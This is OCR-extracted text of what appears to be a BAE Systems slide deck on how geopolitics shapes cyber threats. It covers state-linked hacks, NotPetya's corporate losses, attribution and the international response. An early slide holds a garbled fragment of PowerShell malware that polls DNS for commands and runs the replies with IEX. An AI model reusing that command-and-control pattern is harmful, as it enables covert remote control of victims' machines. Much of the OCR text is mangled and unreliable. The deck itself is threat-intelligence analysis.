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How is the cyber threat landscape
evolving alongside geopolitics?
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Why Cyber?

My background & Interests Cyber

(SAULHNS -ne $null -AND SAULHNS -ne 8) {
$first_lookup = do_lookup "$stertdomain.scurrent_domain® SAULANS | Out-String
} else { 1
$first_lookup = do_lookup *$startdomain.$current_domain® | Out-String

}
$first_lookup = $first_lookup,Trim()

if ($first_lookup -eq *idle”) {
start-sleep -seconds $(Get-Random -Minimun 3588 -Maxinum 5480) bl @0y b 2014 FireE
continue
’ <

if ($first_lookup -eq $cadstring) { 2 Ihwb.com

if ($AUthNS -ne $null -AND $AuthNS -ne @) {
$socond_lookup = do_lookup "$commanddomain.$current_domaln® $A

} o {
$second_lookup = do_lookup "$commanddomain.s$current_domain® s
smitp.com

$second_lookup = $second_lookup | Out-String 75128 0 >

if ($second_lookup -pe "* -And $last_lookup -me $second_lookup) micrsoftwars dsmtp com
$result_run = TEX $second_lookup v €0 m
$lost_lookup = $second_lookup
}
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Changing Geopolitical Landscape

o : ]"._&b QacrrrtifglénthD bh
- % z - 0 ¥ rif¥

&Pl r

“#1include<mafhy - #igh
S ERbE;

Bipolar (1945-1991) 3P Unipolar (1991-Present) 3P Multipolr (?)

Nation Nation
State State
Nation
State
Nation Nation Nation Nation
State State State State

A e pubished work. BAE SYSTEMS




BAE SYSTEMS PROPRIETARY

B Changing nature of conflict
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Correlation or causation?

REUTERS usiness Markets World Politics TV More

Qatar investigation finds state news agency
hacked: foreign ministry
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Correlation or causation?

€Nd US crime +Justice Energy + Environment Exireme Weather Space + Science

2016 Presidential Campaign Hacking

CNN Library
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Correlation or causation?
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¥ Investigation

Data exfiltrated

Attacker

-

Commands Compromised
issued to victim C&C server

Il righ d. lc.
12 St s BAE SYSTEMS



BAE SYSTEMS PROPRIETARY

B Attribution
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SETUP: Software Supply Chain attack
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B Impact

Company Sector Impact
p Ledal Email and phone communications were out for two days.
DLA PIPER E Full recovery took longer. Paid staff 15,000 hrs of overtime in recovery phase.
"
Fe&x Logistics $400m+ in losses reported to the SEC. opequoqt;sr:ol
impact?
Logistics Rebuild of network took 10 days. Estimated losses of $300m+.
. MAERSK J Shipping volumes down 20% during outage. *
Unable to manufacture certain drugs temporarily — including Gardasil. *
Ph
6 MERCK arme Estimated $870m in losses reported.
‘qun’weg.!..éf‘ Food $150m+ in losses reported.
il : One of a number of Russian companies impacted. Impact unknown,
L Oil & Gas : o
ROSNEFT but oil production said to be unaffected.
Jnn(ﬂ]k Materials $350m+ in losses reported.
SAINT-GOBAIN

Advertising Costs estimated at $15m.
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i International response
~ . |
Why was this the response?

UK and US blame Russia for 'malicious’ : :
NotPetya cyber-attack Attack was aimed at Ukraine

@ 15 February 2013 f © i < Share ‘
Destructiveness of attack

which affected critical

Russia denies UK claim it was behind national infrastructure

NotPetya cyberattack obal coll |
UK government says the attack was 'almost certainly' down to Russian military. G O b Gl cola te ra d ama q ¢
deemed beyond acceptable
norms of behaviour
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Summary

S

New geographies and sectors falling - Targeting of MOFAs and
e

victim to attacks government organisations

Hacktivist, Criminals and State-sponsored ! State-sponsored targeting of
APT collaboration I~ Commercial and Financial sector

Geopolitics Cyber Space
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